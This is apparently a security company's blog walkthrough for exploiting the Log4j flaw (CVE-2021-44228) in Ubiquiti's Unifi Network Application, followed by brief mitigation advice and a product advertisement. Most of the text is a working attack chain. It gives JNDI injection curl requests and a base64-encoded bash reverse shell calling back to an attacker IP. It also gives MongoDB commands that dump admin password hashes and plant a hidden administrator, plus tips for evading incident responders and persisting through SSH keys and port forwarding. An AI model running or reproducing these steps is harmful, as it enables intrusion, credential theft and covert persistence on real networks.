Another Log4j on the fire: Unifi
Exploiting Log4j vulnerabilities in Unifi software
TL;DR
In this article, we are going to exploit Log4j vulnerabilities in Unifi software, get a reverse shell, and leverage our access to add our own administrative user to the Unifi MongoDB instance. To automate this process we have released a GitHub repository to exploit the vulnerability:
puzzlepeaches / Log4jUnifi
https://github.com/puzzlepeaches/Log4jUnifi
Exploiting CVE-2021-44228 in Unifi Network Application for remote code execution and more.
Introduction
By now, you’re probably well aware of a recently disclosed vulnerability for the Java logging library, Log4j. The vulnerability is wide-reaching and affects both open-source projects and enterprise software.
Ubiquiti announced shortly after the vulnerabilities release that several of their products are affected. Using Twitter, Sprocket released a proof of concept for using Log4j to achieve remote code execution on vulnerable Unifi Network Application installations.
In this article, we’re going to break down the exploitation process and touch on some post-exploitation methods for leveraging access to the underlying operating system.
Identify Your Attack Surface
The Unifi Network Application is used to manage Ubiquiti software and hardware solutions. This software suite can be installed natively on Linux and Windows or within a Linux Docker container. For the purposes of this article we’ll work with the Docker installation for the following reasons:
- Most limited toolset available on the operating system
- Most restricted environment
Assuming a limited shell and local setup will make the attack path and post-exploitation steps most reproducible in real-work scenarios. The application is most commonly hosted on port 8443 via HTTPS. Navigating to the webpage for the application in a web browser will look something like the following:
Versions prior to 6.5.54 are vulnerable to remote code execution. As shown in the screenshot above, we’ll be attacking version 6.4.54 throughout this article.
Once you’ve identified a vulnerable instance, it’s simple to walk through exploitation.
Exploitation
The vulnerability is in the rememberme
(or in some versions the username
) value issued in the login request shown below:
POST /api/login HTTP/2
Host: <TARGET>
Content-Length: 109
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json; charset=utf-8
Accept: */*
Origin: https://<TARGET>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<TARGET>/manage/account/login?redirect=%2Fmanage
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"username":"asdf","password":"asdfas","remember":"<PAYLOAD>","strict":true}
To test for the vulnerability, let’s first grab a hostname from dnslog.cn and insert it in the following cURL command:
curl -i -s -k -X POST -H $'Host: 192.168.11.10:8443' -H $'Content-Length: 104' --data-binary $'{\"username\":\"a\",\"password\":\"a\",\"remember\":\"${jndi:ldap://eb0uvi.dnslog.cn:1389/o=tomcat}\",\"strict\":true}' $'https://192.168.11.10:8443/api/login'
You aren’t limited to only using dnslog.cn for this step. Ideally, we recommend you set up your own Burp Collaborator or Interactsh server to test for this vulnerability.
Issue the cURL command and look for a DNS callback in DNSLog. If the host is vulnerable, you should see something like this come through:
Now that you know the target is vulnerable, we are going to try and get a reverse shell so we can interact with the underlying Linux operating system. First, you need to clone and build the tool, rogue-jndi from the GitHub repository linked below:
veracode-research /
rogue-jndi
https://github.com/veracode-research/rogue-jndi
A malicious LDAP server for JNDI injection attacks. The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
Make sure you have Maven and Java installed before attempting to compile this tool.
This one-liner should do everything you need:
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
Once the Jar is compiled, you’ll have to craft a command to deliver the reverse shell. Unlike vCenter, we don’t have nc
out of the box. Let’s craft our reverse shell and Base64 encode it using the one-liner below. Modify the command to fit your needs, replacing the IP address and port.
echo 'bash -c bash -i >&/dev/tcp/192.168.11.50/4444 0>&1' | base64
With that Base64 output, build your command in rogue-jndi:
java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC4xMS41MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "192.168.11.50"
Replace the Base64 encoded string after “echo” in the command above with the one you generated. Replace the hostname variable with the public or local IP of the host you will run the command from. Then start your rogue-jndi LDAP server up.
To get a reverse shell, issue this cURL command:
curl -i -s -k -X POST -H $'Host: 192.168.11.10:8443' -H $'Content-Length: 104' --data-binary $'{\"username\":\"a\",\"password\":\"a\",\"remember\":\"${jndi:ldap://192.168.11.50:1389/o=tomcat}\",\"strict\":true}' $'https://192.168.11.10:8443/api/login'
Replace the values above with the relevant variables you’ve collected while building this exploit chain. Start up a netcat listener on the port you specified while building your shell and issue the cURL command. If you did everything correctly, you should see UniFi Network Application grab the payload from rogue-jndi and then get a callback:
Post Exploitation
Once you have a reverse shell, you’ll quickly find you aren’t in the operating as root. We’ve done some research and this seems to always be the case outside some of some fringe configurations.
We started to ask ourselves here at Sprocket, “What can we really do with this?”
Come to find out, the MongoDB instance storing all application information is listening on localhost without authentication. That means that once you have shell access, you can read from and make modifications to the local MongoDB instance. I think you see where we’re going with this. We have three options:
- Extract the password hashes for administrative accounts and attempt to crack them.
- Reset the password for an administrative user.
- Add our own shadow admin to provide access to the administrative console.
The first and third options are the most attractive as they theoretically provide access to the administrative console long after any patch is implemented and does not arouse suspicion. Once we have administrative access, we can quickly establish persistence and laterally move inside the network. In every Docker and bare metal install we’ve seen the MongoDB command-line utility available, which makes the following attack paths possible in almost all environments.
Post Exploitation - Cracking Hashes
First, let’s dump password hashes from the local database. Execute the following command using your reverse shell to dump a JSON array of users, their privileges, and most importantly password hashes.
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
Following the execution of this command, you’ll be presented with something like the screenshot below:
Grab those SHA-512 hashes stored in the x_shadow variable and throw them in Hashcat to start attempting to recover cleartext passwords for existing users. You may get lucky but without a hefty rig, these will take a while to crack using a large wordlist. If you were to crack the hash, however, you would now be able to log into the administrative console. A successfully cracked hash is shown in the screenshot below:
Post exploitation - Shadow Admin
Alternatively, we can easily add our own shadow administrator account using the command line interface. With a lack of authentication we can execute a series of commands to add a local account.
First and foremost, we need to generate a password hash for our account using the mkpasswd command line utility. Oddly enough, this utility is included in the apt whois package. Install whois and then execute the following command to generate a hash on your local system.
mkpasswd -m sha-512 <PASSWORD>
This command will output a hash we’ll use in a MongoDB command via our reverse shell. Execute a command similar to the one below while replacing relevant variables.
mongo --port 27117 ace --eval 'db.admin.insert({ "email" : "null@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "<PASSWORD-HASH>" })'
You can leave the time_created variable the same. It doesn’t matter unless you’re trying to confuse IR people.
To be exact, replace the relevant variables shown above with your:
- Desired email
- Desired username
- Generated password hash
After executing this command, you can run the command below to see a list of users now populated in the MongoDB database:
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
Collect the ObjectID for the user you just created. You’ll need it later. It should be the first value in the array associated with your user that just got output.
You only need the UUID inside the brackets, not the entire string.
Once you have stored the ObjectId value, execute the command below to get a list of all sites associated with the appliance.
mongo --port 27117 ace --eval "db.site.find().forEach(printjson);"
The output from this command should look something like the following:
Store the ObjectId values highlighted in the screenshot above. Finally, execute the command below, inserting the account you just created’s ObjectID and the site ObjectID’s collected using the previous command. For example, to add the account “unifi-admin” to the site “super”, execute a command similar to the following:
mongo --port 27117 ace --eval 'db.privilege.insert({ "admin_id" : "61c88cd001e2b3b6a43d3610", "permissions" : [ ], "role" : "admin", "site_id" : "61c88c56e03dd80139681639" });'
Repeat this command while replacing the site_id values collected using our previous step. If everything was successful, you should now be able to login to the administrative console using the account you created.
Lateral Movement Options
This attack path is beautiful for several reasons.
- It’s incredibly difficult to detect that an additional administrative account was added.
- No notifications are presented.
- IT has to navigate pretty deep into the system configuration options to actually see the new account.
Steal SSH Creds
Insanely enough, if an Ubiquiti USG or other gateway appliance from the vendor is in play, you can also easily grab the SSH credentials for the admin account used to access that device. This can be found under site configuration options and is shown in the screenshot below:
Click the eye and you have creds. I really couldn’t tell you why this is a feature but it is.
Add SSH Keys
You can also add SSH keys that will automatically propagate to ubiquiti controllers using the “Add New SSH Key” option. If the USG also is exposed to the internet, you now have a second point of entry into the target network. Alternatively, you can theoretically perform lateral movement from your existing reverse shell on the network appliance to the USG to further establish your access.
Port Forwarding
Even if the USG isn’t exposed, don’t forget you now have the option to forward ports for internal hosts out to the internet for access. For example, to add a port-forwarding rule for your public IP, and allow for quick access to another internal host, do this:
The previous list of post-exploitation steps is not all inclusive and you should be able to also:
- Create VPN connections into the companies network quickly and easily
- Intercept and modify traffic on the fly
- Modify firewall rules to provide more wide reaching access to restricted internal networks
Add an Admin
This is where our added admin will appear. It's deep in the UI. You can add additional admins but not much reasons to do so since we already have access.
Showing Impact and Adding Automation.
From what I can tell, this Log4j vulnerability has the potential to have significant impact. Why? Because nearly 67,000 instances of this application are on the internet according to Shodan,
While many of those may be patched and isolated to cloud environments, I would assume that at least 30,000 instances are hosted on premises by private organizations and 20,000 are vulnerable to remote code execution.
Exploitation is easy, effective and efficient. The process of adding administrative users, detailed above, can easily be automated using a compiled language like Go. An attacker would need to create a binary storing all needed dependencies that can be dropped to disk and executed. A tool like this could easily proxy traffic into the internal companies network and also make updates to the MongoDB instance without any human interaction.
Just like in my last article on vCenter, I’ve automated the exploitation process and made the project available on GitHub. Installation and setup directions are included in the README.md of the repository.
puzzlepeaches / Log4jUnifi
https://github.com/puzzlepeaches/Log4jUnifi
Exploiting CVE-2021-44228 in Unifi Network Application for remote code execution and more.
The script itself is simple and doesn’t do much outside of getting the user a reverse shell. With help from contributors we could expand on this and provide more post-exploitation functionality. If anyone has ideas or would like to write some Golang, reach out and we can work on something.
Mitigation
The simplest way to mitigate this issue is to update your instances of Unifi Network Application to the patched version, 6.5.54. Information surrounding the patch is included in the Ubiquiti advisory post below:
Ubiquiti Security Advisory Bulletin 023<
https://community.ui.com/releases/Security-Advisory-Bulletin-023-023/808a1db0-5f8e-4b91-9097-9822f3f90207
Ubiquiti Security Advisory Bulletin 023
Additionally, we recommend you disable public access to this application due to the implications associated with exploitation. If you need to expose the administrative interface, implement IP whitelisting to allow only IT administrators access to the admin console.
Hopefully, in later releases we see Ubiquiti add authentication to prevent the post-exploitation steps detailed in this article. During design, the lack of MongoDB auth was most likely considered an acceptable risk by developers. We think Ubiquiti should reconsider the implications and opt to add some form of authentication that prevents an attack similar to the one we laid out.
Finally, you can read through some neat notes on incident response if you believe your application was already compromised:
Compromised UniFi Controller
https://www.iblue.team/incident-response-1/compromised-unifi-controller
A reverse proxy allows you to quickly and transparently proxy traffic to and from your infrastructure. Traditionally, it has been difficult to automate this process. ...until now.
Whether your organization has been compromised or not, it seems as if the Log4j vulnerability will be here for some time. With Continuous Penetration Testing, you’re able to monitor and test for vulnerabilities year-round – and in real time – to make sure your network is protected from such vulnerabilities.
Update: Affected versions and Ubiquiti security advisory link added. (12/30/2021)
Continuous Human & Automated Security
The Expert-Driven Offensive
Security Platform
Continuously monitor your attack surface with advanced change detection. Upon change, testers and systems perform security testing. You are alerted and assisted in remediation efforts all contained in a single security application, the Sprocket Platform.
Expert-Driven Offensive Security Platform
- Attack Surface Management
- Continuous Penetration Testing
- Adversary Simulations